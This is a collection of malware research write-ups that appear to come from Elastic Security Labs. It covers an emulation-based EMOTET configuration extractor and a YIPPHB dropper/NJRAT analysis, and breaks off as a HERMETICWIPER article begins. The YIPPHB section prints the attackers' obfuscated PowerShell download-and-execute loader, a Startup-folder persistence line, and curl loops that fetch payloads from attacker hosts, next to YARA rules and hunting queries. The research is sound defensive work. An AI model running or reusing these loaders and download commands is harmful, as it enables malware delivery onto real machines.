• Reviewing the EMOTET C2 list
• Interesting EMOTET strings
• The EMOTET configuration extractor utility

Encryption keys

EMOTET uses embedded Elliptic Curve Cryptography (ECC) public keys to encrypt their network communication. While in previous versions, the keys would be stored in an XOR-encrypted blob, now the content is calculated at runtime.

In comparison the previous versions of EMOTET would store an encrypted version of the key data in the . text section of the binary.

In order to make it harder for security researchers to find the given code the malware uses Mixed Boolean-Arithmetic (MBA) as one of its obfuscation techniques. It transforms constants and simple expressions into expressions that contain a mix of Boolean and arithmetic operations.

In this example, an array of constants is instantiated, but looking at the assembly we see that every constant is calculated at runtime. This method makes it challenging to develop a signature to target this function.

We noticed that both the Elliptic Curve Diffie-Hellman (ECDH) and Elliptic Curve Digital Signature Algorithm (ECDSA) keys use the same function to decode the contents.

The ECDH key (which you can recognize by its magic ECK1 bytes) is used for encryption purposes while the ECDSA key (ECC1) is used for verifying the C2 server's responses.

By leveraging a YARA signature to find the location of this decode function within the EMOTET binary we can observe the following process:

1. Find the decoding algorithm within the binary.
2. Locate any Cross References (Xrefs) to the decoding function.
3. Emulate the function that calls the decoding function.
4. Read the resulting data from memory.

As we mentioned, we first find the function in the binary by using YARA. The signature is provided at the end of this article. It is worth pointing out that these yara signatures are used to identify locations in the binary but are, in their current form, not usable to identify EMOTET samples.

In order to automatically retrieve the data from multiple samples, we created a configuration extractor. In the snippets below, we will demonstrate, in a high level fashion, how we collect the configuration information from the malware samples.

In the above code snippet:

1. First load the YARA signature.
2. Try to find a match, and if a signature is found in the file.
3. Calculate the function offset based on the offset in the file.

In order to locate the Xrefs to this function, we use the excellent SMDA decompiler. After locating the Xrefs, we can start the emulation process using the CPU emulator, Unicorn.

1. Initialize the Unicorn emulator.
2. Load the executable code from the PE file into memory.
3. Disassemble the function to find the return and the end of the execution.
4. The binary will try to use the windows HeapAlloc API to allocate space for the decoded data. Since we don't want to emulate any windows API's, as this would add unnecessary complexity, we hook to code so that we can allocate space ourselves.
5. After the emulation has run the 64-bit “long size” register (RAX), it will contain a pointer to the key data in memory.
6. To present the key in a more readable way, we convert it to the standard PEM format.

By emulating the parts of the binary that we are interested in, we no longer have to statically defeat the obfuscation in order to retrieve the hidden contents. This approach adds a level of complexity to the creation of config extractors. However, since malware authors are adding ever more obfuscation, there is a need for a generic approach to defeating these techniques.

C2 server list

An important part of tracking malware families is to get new insights by identifying and discovering which C2 servers they use to operate their network.

In the 64-bit versions of EMOTET, we see that the IP and port information of the C2 servers are also dynamically calculated at runtime. Every C2 server is represented by a function that calculates and returns a value for the IP address and the port number.

These functions don’t have a direct cross reference available for searching. However, a procedure references all the C2 functions and creates the p_c2_list array of pointers.

After that, we can emulate every C2-server function individually to retrieve the IP and port combination as seen below.

Strings

The same method is applied to the use of strings in memory. Every string has its own function. In the following example, the function would return a pointer to the string %s\regsvr32.exe "%s".

All of the EMOTET strings share a common function to decode or resolve the string at runtime. In the sample that we are analyzing here, the string resolver function is referenced 29 times.

This allows us to follow the same approach as noted earlier in order to decode all of the EMOTET strings. We pinpoint the string decoding function using YARA, find the cross-references, and emulate the resulting functions.

Configuration extractor

Automating the payload extraction from EMOTET is a crucial aspect of threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors, enabling practitioners to discover new unknown samples in a timely manner.

% emotet-config-extractor --help
usage: Emotet Configuration Extractor [-h] (-f FILE | -d DIRECTORY) [-k] [-c] [-s] [-a]

options:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  Emotet sample path
  -d DIRECTORY, --directory DIRECTORY
                        Emotet samples folder
  -k                    Extract Encryption keys
  -c                    Extract C2 information
  -s                    Extract strings
  -a                    Extract strings (ascii)

Our extractor takes either a directory of samples with -d option or -f for a single sample and then can output parts of the configuration of note, specifically:

• -k : extract the encryption keys
• -c : extract the C2 information
• -s : extract the wide-character strings
• -a : extract the ASCII character stings

EMOTET uses a different routine for decoding wide and ASCII strings. That is why the extractor provides flags to extract them separately.

The C2 information displays a list of IP addresses found in the sample. It is worth noting that EMOTET downloads submodules to perform specific tasks. These submodules can contain their own list of C2 servers. The extractor is also able to process these submodules.

The submodules that we observed do not contain encryption keys. While processing submodules you can omit the -k flag.

[...]
[+] Key type: ECK1
[+] Key length: 32
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW
NqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg==
-----END PUBLIC KEY-----
[...]
[+] Key type: ECS1
[+] Key length: 32
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI
lAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA==
-----END PUBLIC KEY-----
[...]
[+] Found 64 c2 subs
174.138.33.49:7080
188.165.79.151:443
196.44.98.190:8080
[...]
[+] Starting emulation
[+] String BLOB address: 0x4000000
KeyDataBlob
[...]
[+] String BLOB address: 0x4000000
bcrypt.dll
[...]
[+] String BLOB address: 0x4000000
RNG

To enable the community to further defend themselves against existing and new variants of EMOTET, we are making the payload extractor open source under the Apache 2 License. Access the payload extractor documentation and binary download.

The future of EMOTET

The EMOTET developers are implementing new techniques to hide their configurations from security researchers. These techniques will slow down initial analysis, however, EMOTET will eventually have to execute to achieve its purpose, and that means that we can collect information that we can use to uncover more about the campaign and infrastructure. Using code emulators, we can still find and extract the information from the binary without having to deal with any obfuscation techniques. EMOTET is a great example where multiple obfuscation techniques make static analysis harder. But of course, we expect more malware authors to follow the same example. That is why we expect to see more emulation-based configuration extract in the future.

Detection

YARA

Elastic Security has created YARA rules to identify this activity. The YARA rules shown here are not meant to be used to solely detect EMOTET binaries, they are created to support the configuration extractor. The YARA rules for detecting EMOTET can be found in the protections-artifacts repository.

EMOTET key decryption function

rule resolve_keys
{
meta:
     author = "Elastic Security"
     description = "EMOTET - find the key decoding algorithm in the PE"
     creation_date = "2022-08-02"
     last_modified = "2022-08-11"
     os = "Windows"
     family = "EMOTET"
     threat_name = "Windows.Trojan.EMOTET"
     reference_sample = "debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1"
   strings:
       $chunk_1 = {
        45 33 C9
        4C 8B D0
        48 85 C0
        74 ??
        48 8D ?? ??
        4C 8B ??
        48 8B ??
        48 2B ??
        48 83 ?? ??
        48 C1 ?? ??
        48 3B ??
        49 0F 47 ??
        48 85 ??
        74 ??
        48 2B D8
        42 8B 04 03
     }
   condition:
       any of them
}

EMOTET C2 aggregation

rule c2_list
{
     author = "Elastic Security"
     description = "EMOTET - find the C2 collection in the PE"
     creation_date = "2022-08-02"
     last_modified = "2022-08-11"
     os = "Windows"
     family = "EMOTET"
     threat_name = "Windows.Trojan.EMOTET"
     reference_sample = "debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1"
  strings:
     $chunk_1 = {
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
        48 8D 05 ?? ?? ?? ??
        48 89 81 ?? ?? ?? ??
     }
  condition:
     any of them
}

EMOTET string decoder

rule string_decode
{
   meta:
     author = "Elastic Security"
     description = "EMOTET - find the string decoding algorithm in the PE"
     creation_date = "2022-08-02"
     last_modified = "2022-08-11"
     os = "Windows"
     family = "EMOTET"
     threat_name = "Windows.Trojan.EMOTET"
     reference_sample = "debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1"
  strings:
     $chunk_1 = {
        8B 0B
        49 FF C3
        48 8D 5B ??
        33 CD
        0F B6 C1
        66 41 89 00
        0F B7 C1
        C1 E9 10
        66 C1 E8 08
        4D 8D 40 ??
        66 41 89 40 ??
        0F B6 C1
        66 C1 E9 08
        66 41 89 40 ??
        66 41 89 48 ??
        4D 3B D9
        72 ??
     }
     $chunk_2 = {
        8B 0B
        49 FF C3
        48 8D 5B ??
        33 CD
        0F B6 C1
        66 41 89 00
        0F B7 C1
        C1 E9 ??
        66 C1 E8 ??
        4D 8D 40 ??
        66 41 89 40 ??
        0F B6 C1
        66 C1 E9 ??
        66 41 89 40 ??
        66 41 89 48 ??
        4D 3B D9
        72 ??
     }
  condition:
     any of them
}

• Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.
• YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.
• The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.

Preamble

While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.

Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.

This research focused on the following:

• Loader phase
• Dropper phase
• RAT phase
• Activity clusters
• Network infrastructure
• Hunting queries

Analysis

The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.

Loader phase

While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.

Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a U. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: CyberChef.

By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.

Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The loader is downloaded from https://tinyurl[.]com/2erph6cs. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.

To unfurl the TinyURL, we can use the JSON API endpoint from Unshorten.me:

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

Downloading dllsica.txt from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from dllsica.txt can easily be decoded without substitutions.

Using the cat , base64 , xxd , and head command line tools, we can see that this has a hexadecimal value of 4d5a and an MZ magic number in the file header. This confirms we’re analyzing a PE file.

• cat - catenates a file
• base64 -D - the -D switch decodes a base64 encoded file
• xxd - creates a hexadecimal dump of an input
• head - returns the first 10 lines of a file

$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.

• file - verify the file type
• shasum -a 256 - the -a 256 switch uses the 256-bit hashing algorithm

$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

Now that the loader has been collected, it executes the method PUlGKA inside of the class NwgoxM.KPJaN. From the original Base64 decoded string

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

Dropper phase

From the loader's execution image above, we can see that the loader uses a reversed variable (text = bdw6ufv4/moc[.]lruynit//:sptth) to download an additional file using a TinyURL. Using the command line tool, rev , we can correct the reversed URL.

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

Another encoded file is downloaded from Discord: pesica.txt. As of this writing, VirusTotal reports zero detections of this file.

With clues from dllsica.bin , we can see that pesica.txt uses UTF-8 encoding. To further analyze our file, we need to replace the ▒▒▒▒ values with an A , and Base64 decode the resulting strings.

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

We can stack recipes to perform these functions with CyberChef.

Once we’ve decoded pesica.txt , we calculate the hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. The decoded output of pesica.txt shows the YippHB module name.

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher Paul Melson. Paul publicly disclosed this dropper in October of 2022 at the Augusta BSides security conference.

The YIPPHB dropper is executed using the Installutil.exe command-line utility to start the RAT phase.

We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.

RAT phase

Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The RAT was retrieved from https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, which is reversed from txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.

Looking at the file 10oct8000.txt file, we can see that it is a reversed, Base64-encoded file.

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

We can correct this file and Base64 decode it using the command-line tools rev and base64 and save the output as 10oct8000.bin.

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin has a SHA256 hash of 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. This file is reported on VirusTotal as a variant of the LIMERAT or NJRAT malware families (depending on the source).

Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (1, 2).

The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.

For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( TllBTiBDQVQ= ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with a known NJRAT code base, this C2 configuration information adds to our conviction that this is related to NJRAT.

If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:

• victimName ( vn )
• Hardware ID
• Username
• OSFullName
• OSVersion Servicepack
• if the Program Files folder ends in X86 or not
• if a webcam is present
• the window name
• a permission check on the registry

If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, here and here

Activity clusters

We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

This query allowed us to identify Powershell activity that uses both Unicode characters and the replace function.

Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable iUqm and the ⌚⌚⌚Unicode icons.

Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( _*/}+/_= ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.

Collecting and parsing network data

To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the process.command_line fields and the follow-on C2 used by the RAT implants.

Loader and Dropper

As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.

To avoid execution of the Powershell command itself, we can leverage the text processing tool awk. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.

To get started, we’ll need to get access to our data on the command line where we can pipe it to awk. We’ve published a tool called eql-query (and another called lucene-query ) to do just that.

Using eql-query , we can run an EQL query to retrieve the last 180-days of results, retrieving only the process.command_line field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

Next, use jq to pass the raw string to awk using jq '._source.process.command_line' -r | awk.

If you’re doing this iteratively, it’s best to write the results from eql-query to a file, and then operate on the results locally until you have your pipeline how you’d like it.

The next step is to capture the strings used in the Powershell replace commands so we can perform that function ourselves. The best way to do this using awk is by capturing them with a regular expression.

This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an awk pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

Finally we can grep out the Base64 code (using another regex) and reveal the obfuscated Powershell script.

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Parsing the URLs from this text should be another simple awk match, followed by flipping the second URL, however, Powershell’s default encoding is UTF-16LE and awk only supports UTF-8 or ASCII encoding. A tool called iconv can perform the necessary conversion.

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

Once converted, the rest is straightforward parsing. Our output will contain url1 , url2 , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.

For further details or to try it against your own data, see the shell script that combines it all.

Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.

RAT

As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each url1 and url2 output in the previous step, loop through each list, and use curl to download them.

This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.

As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

We use -v to capture the request and response headers, -L to follow redirects, and --connect-timeout to speed up the process when the infrastructure is down. Finally, save the curl output to a log file while any files downloaded are saved as file-X , where X is the value of the counter.

Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the file command. A Base64-encoded file will be identified as “ASCII text, with very long lines (length), with no line terminators” where length is the file size. For files that match this language, we’ll decode them and save them with a .dll extension.

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the VirusTotal command line tool and can make API queries, searching for known files is another simple loop over all the saved dll files.

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

Looking at the output, we can see that any yml file (the vt command output) with 0 bytes means no match. These files are unknown to VirusTotal. In this output, we can see that file-30.dll , file-31.dll , and file-34.dll are unknown to VirusTotal.

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the strings command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the strings command won’t work to extract strings from .Net assemblies. The file command can again help us identify these as in this example:

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, ikdasm. This gives us our final loop to search for domain names or references to HTTP URLs.

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

For more details you can refer to this shell script that puts this second stage of analysis together.

Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Resource Development
• Execution
• Persistence
• Defense Evasion
• Discovery
• Command and Control

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

• Acquire Infrastructure
• Stage Capabilities: Upload Malware
• Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
• Command and Scripting Interpreter: Visual Basic
• Command and Scripting Interpreter: PowerShell
• System Binary Proxy Execution: InstallUtil
• Obfuscated Files or Information

Detection logic

Behavior rules

• Connection to WebService by a Signed Binary Proxy
• Suspicious PowerShell Execution
• Process Execution with Unusual File Extension
• Script File Written to Startup Folder
• Suspicious PowerShell Execution via Windows Scripts
• Connection to Dynamic DNS Provider by an Unsigned Binary

Hunting queries

Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.

KQL query

Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.

The proceeding and preceding wildcards ( * ) can be an expensive search over a large number of events.

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL query

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the replace function. This identified all observed REF4526 events.

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

References

The following were referenced throughout the above research:

• https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
• https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
• https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
• https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
• https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
• https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

On February 23, 2022, the ESET threat research team disclosed a series of findings pertaining to a Data Wiper malware campaign, impacting hundreds of systems across Ukraine, named HERMETICWIPER. Elastic previously published research on Operation Bleeding Bear, a campaign targeted towards Ukrainian assets with similar destructive intentions.

Malware Wipers remain a common tactic of adversaries looking to cause havoc on systems impacted by their payloads. Typically this class of malware is designed to wipe the contents of any drives a system may have, rendering the end-users personal data lost. Many more recent examples of this class of payload incorporate tactics that also tamper with the boot process, with HERMETICWIPER being no exception.

Customers leveraging the Elastic Agent version 7.9+, and above are protected against this specific malware, with further research being undertaken to improve detection efficacy.

Malware Wipers & Ukrainian Targets

